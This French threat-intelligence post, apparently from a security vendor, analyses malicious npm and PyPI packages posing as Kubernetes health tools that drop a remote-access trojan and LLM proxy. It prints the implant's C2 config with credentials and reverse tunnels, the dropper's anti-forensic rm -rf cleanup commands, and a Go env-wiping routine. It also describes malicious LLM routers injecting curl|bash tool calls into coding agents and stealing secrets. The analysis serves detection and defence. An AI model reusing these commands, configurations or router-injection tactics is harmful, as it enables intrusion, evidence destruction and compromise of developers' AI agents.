Nous avons récemment observé deux packages malveillants sur npm (kube-health-tools) et PyPI (kube-node-health) qui semblent conçus pour cibler les environnements Kubernetes. En apparence, ces deux packages sont inoffensifs, utilisant des noms faisant référence à Kubernetes pour paraître légitimes. Cependant, en coulisses, ils installent silencieusement un service de proxy LLM complet sur la machine de la victime, permettant à l'attaquant de router le trafic LLM via le serveur compromis comme s'il s'agissait d'un simple nœud de relais supplémentaire dans une plateforme commerciale de revente d'IA.
Étape 1 : Les droppers
Les deux packages embarquent un binaire natif compilé comme porteur de leur charge utile.
Les deux fichiers de l'étape 1 sont :
__init___cpython-311-x86_64-linux-gnu.so(package PyPI)addon.node(package npm)
Les deux sont des binaires natifs qui s'exécutent à l'importation ou lors d'un require(). Le .so est une extension Python compilée avec Cython ; le .node est un addon natif Node.js. Tous deux téléchargent un binaire de l'étape 2 depuis GitHub. L'URL encodée dans le dropper PyPI se résout en :
https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packedLe dropper npm récupère une variante plus performante de la même version :
https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packedLes deux binaires sont écrits dans /tmp/.kh, marqués comme exécutables et lancés immédiatement.
Les deux droppers intègrent également des blobs de configuration chiffrés par XOR qui sont directement acheminés vers le binaire de l'étape 2 au lancement. Le binaire de l'étape 2 lit la configuration depuis stdin, la déchiffre et l'utilise comme configuration d'exécution :
{
"server": "https://sync[.]geeker[.]indevs[.]in",
"auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
"tunnels": [
"R:4444:127.0.0.1:0",
"R:4446:127.0.0.1:22",
"R:4445:127.0.0.1:8200"
],
"shell": {
"enabled": true,
"password": "123qweASD",
"auth_keys": []
},
"disguise": {
"process_name": "node-health-check",
"argv": "--mode=daemon"
},
"keepalive": "25s",
"max_retry_interval": "30s",
"headers": {
"User-Agent": "Mozilla/5.0"
},
"tls_skip_verify": true
}La configuration révèle plusieurs éléments concernant l'opération. Le serveur de Commandement et Contrôle (C2) est sync[.]geeker[.]indevs[.]in, authentifié avec un identifiant codé en dur (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). Le bloc de dissimulation ordonne à l'implant de masquer son processus en tant que node-health-check --mode=daemon, se fondant dans les outils légitimes d'une liste de processus.
Les trois tunnels inverses de la configuration mappent chacun un port du serveur C2 de l'attaquant à un service local sur la machine victime :
- Port 4444 redirige vers
127.0.0.1:0(le proxy LLM) - Port 4446 redirige vers
127.0.0.1:22(le serveur SSH de la victime) - Port 4445 redirige vers
127.0.0.1:8200(port par défaut de HashiCorp Vault, un magasin de secrets couramment utilisé dans les environnements Kubernetes)
La variante npm inclut également un mécanisme de repli ngrok, qui parcourt un pool de comptes ngrok fournis par le C2, exposant le serveur de la victime via un endpoint public.
Après le lancement du binaire de la phase 2, le script dropper efface activement les preuves de sa propre exécution. Il supprime le binaire téléchargé de /tmp/.kh, supprime un deuxième fichier temporaire à /tmp/.ns, et ensuite, plus particulièrement, supprime récursivement l'intégralité du kube-health-tools répertoire de package de node_modules:
sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -path "*/node_modules/*" -exec rm -rf {} + 2>/dev/nullDans les deux secondes suivant le démarrage du binaire de la phase 2, tous les artefacts d'installation ont disparu. Une analyse forensique post-incident de node_modules ne trouvera rien.
Phase 2 : Cheval de Troie d'accès à distance
Le binaire de la phase 2 est un binaire Go compilé avec plusieurs capacités regroupées dans un seul exécutable. Il se reconnecte à sync[.]geeker[.]indevs[.]in via WebSocket, établit une session SSH et utilise un Tunneling Chisel protocole pour enregistrer les tunnels définis dans la configuration.
L'implant implémente le tunneling Chisel via WebSocket :
- Proxy SOCKS5 : Le binaire peut exposer un proxy SOCKS5 complet, permettant à l'attaquant de router un trafic TCP arbitraire à travers le réseau de la victime.
- Reverse shell : Configuré avec le mot de passe (
123qweASD) trouvé dans le bloc de configuration du dropper, offrant un terminal interactif complet. - Serveur SFTP : Intègre un serveur SFTP complet, donnant à l'attaquant un accès complet en lecture/écriture au système de fichiers.
- Proxy LLM : Une passerelle API compatible OpenAI qui accepte les requêtes et les achemine en amont via des routeurs fournis par l'attaquant.
Le binaire prend soin de se dissimuler après son lancement. Il renomme son processus en node-health-check avec l'argument --mode=daemon, ce qui lui permet de se fondre dans les outils légitimes lors d'une liste de processus. Il efface également toutes les variables d'environnement pertinentes immédiatement au démarrage :
func ClearEnv() {
for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
os.Unsetenv(name)
}
const aesKey = "s0m3R4nd0mK3y2026xYz"
for _, kv := range os.Environ() {
parts := strings.SplitN(kv, "=", 2)
if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
os.Unsetenv(parts[0])
}
}
}
Cela garantit que si une variable KH_CFG ou NHC_CFG operator-override était définie, elle disparaît de l'environnement avant qu'une inspection ne puisse la trouver.
Le proxy LLM
L'implant inclut un proxy LLM entièrement fonctionnel et compatible OpenAI, intégré directement dans le binaire de la phase 2. Il semble s'agir d'une passerelle API qui accepte les requêtes et les achemine vers des API en amont, y compris des routeurs LLM chinois comme shubiaobiao.
Le proxy expose quatre routes entrantes, accessibles via le tunnel :
GET /health→ 200 OKGET /v1/models→ lister tous les modèles configurésPOST /v1/chat/completions→ router vers l'upstreamPOST /v1/completions→ router vers l'upstream
Lorsqu'une requête atteint /v1/chat/completions, le proxy :
- Lit le
modelchamp du corps de la requête - Recherche le nom du modèle dans une table de routage fournie par le C2
- Sélectionne une clé API parmi le
key_normaloukey_ultrapool, en fonction dukey_typechamp de la config - Réécrit la requête avec l'hôte upstream, le chemin et le jeton d'authentification bearer.
- Transfère la requête et renvoie la réponse en streaming
À partir des chaînes de chemin upstream trouvées dans le binaire, la table de routage mappe les noms de modèles à des chemins comme ceux-ci :
https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completionsLe /gpt-proxy/ préfixe de chemin, combiné à des noms de fournisseurs comme shubiaobiao, cloudsway et volengine, pointe vers des agrégateurs intermédiaires plutôt que vers les API officielles des fournisseurs. Ni api.openai.com ni api.anthropic.com apparaître n'importe où dans le binaire.
Le binaire contient 109 chaînes de noms de modèles codées en dur utilisées pour construire la réponse /v1/models. Elles couvrent les principaux fournisseurs de modèles de pointe, y compris ceux d'Anthropic (claude-opus-4.6, claude-sonnet-4.6-thinking), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), et Alibaba (qwen3-235b-a22b-instruct-2507).
L'écosystème des proxys chinois
L'exécution de serveurs proxy sur des machines compromises est un comportement récurrent dans le paysage des menaces chinois, motivé en partie par les restrictions imposées par le Grand Pare-feu. Auparavant, AhnLab avait découvert des attaquants déployant des outils comme TinyProxy et Sing-box sur des serveurs honeypot vulnérables pour exécuter des services proxy clandestins. En effet, le compte GitHub gibunxi4201, qui héberge la charge utile de la phase 2, semble avoir d'autres projets liés aux proxys dans son historique de versions, ce qui est cohérent avec un opérateur principalement axé sur l'infrastructure de proxy.

Ces outils proxy sont souvent déployés sur des serveurs vulnérables pour obtenir des IPs proxy gratuites, mais aussi sur des services gratuits comme HuggingFace, Databricks et Streamlit pour naviguer sur le web sans les restrictions du Grand Pare-feu. Le schéma est toujours le même : trouver une ressource bon marché ou compromise et la transformer en serveur proxy gratuit.
Les développeurs chinois ne peuvent souvent pas accéder aux modèles d'IA en raison de blocages régionaux. Cela a créé un marché gris florissant pour l'accès aux API de LLM. Des plateformes chinoises comme Xianyu, Goofish et Taobao regorgent d'annonces de vendeurs proposant un accès à ChatGPT, Claude et Gemini à une fraction des prix officiels via des points d'accès de routeur (comme ceux trouvés dans ce malware). Il y a même des vendeurs qui proposent des cours sur la façon de monétiser en gérant ses propres routeurs LLM.

Routeurs LLM malveillants
Au-delà de l'accès bon marché à l'IA, les routeurs LLM comme celui déployé ici se situent à une frontière de confiance facilement exploitable. Étant donné que chaque requête transite par le routeur en texte clair, un opérateur malveillant peut, comme documenté par Hanzhi Liu et al. :
- Injecter des appels d'outils malveillants dans les réponses des agents de codage avant qu'ils n'atteignent le client, introduisant des
pip installoucurl | bashcharges utiles en transit - Exfiltrer silencieusement des secrets des corps de requêtes et de réponses, y compris les clés API, les identifiants AWS, les jetons GitHub, les clés privées Ethereum et les invites système
Les chercheurs ont découvert que, sur un corpus de 428 routeurs commerciaux, 9 injectaient activement du code malveillant dans les appels d'outils renvoyés, et 17 ont été identifiés comme ayant accédé à des identifiants AWS canary appartenant aux chercheurs après les avoir observés en transit.
Bien que nous n'ayons trouvé aucune preuve d'injection ou d'exfiltration dans cet implant spécifique, tout développeur dont les outils de codage basés sur l'IA sont acheminés via une machine compromise transmet de fait l'intégralité de sa fenêtre de contexte via un relais contrôlé par un adversaire.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large de toute votre équipe, l'Endpoint Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les logiciels malveillants avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
IOCs
Paquets malveillants
- PyPI :
kube-node-health - npm :
kube-health-tools
Hachages de fichiers
-
__init___cpython-311-x86_64-linux-gnu.so(PyPI étape 1)- SHA256:
b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
- SHA256:
-
addon.node(npm étape 1)- SHA256:
5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
- SHA256:
kube-diag-linux-amd64-packed(variante PyPI étape 2)- SHA256:
fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
- SHA256:
kube-diag-full-linux-amd64-packed(variante npm étape 2)- SHA256:
3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300
- SHA256:
Indicateurs réseau
- Serveur C2 :
sync[.]geeker[.]indevs[.]in - Téléchargement étape 2 :
github[.]com/gibunxi4201/kube-node-diag
Indicateurs de processus
- Nom du processus :
node-health-check - Chemins de téléchargement temporaires :
/tmp/.khet/tmp/.ns

